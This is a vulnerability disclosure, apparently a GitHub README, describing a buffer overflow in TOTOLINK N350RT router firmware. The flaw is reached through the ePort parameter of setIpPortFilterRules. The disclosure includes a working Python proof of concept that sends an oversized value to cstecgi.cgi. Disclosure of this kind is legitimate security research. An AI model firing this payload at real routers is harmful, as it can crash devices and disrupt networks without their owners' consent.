# Totolink-N350RT-cstecgi.cgi-Vulnerability

## Overview
- Manufacturer's website information：https://www.totolink.net/
- Firmware download: https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.html

### Product Information
TOTOLINK N350RT V9.3.5u.6139_B20201216 Wireless Dual Band Router：

## Vulnerability details
TOTOLINK N350RT V9.3.5u.6139_B20201216 was discovered to contain a buffer overflow via the ePort parameter in the function setIpPortFilterRules.
![image](https://github.com/user-attachments/assets/a953fbf4-b69e-4b8d-a978-c8ea5418faa6)
![image](https://github.com/user-attachments/assets/5c45606d-d8b8-4edc-87e0-fba6a6cd9be5)


The input variable ePort is copied into v9, but the sprintf function does not check the length, resulting in a buffer overflow when the input is too long.

## POC
```py
import requests
url = "http://localhost:8001/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1747640852:2"}
data = {
    "topicurl":"setting/setIpPortFilterRules",
    "addEffect":"1",
    "sPort":"a"*10,
    "ePort":"a"*5000
}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
```

### POC Result
![image](https://github.com/user-attachments/assets/ffdd82d8-6e5f-4422-a886-c5b9cd8b1e38)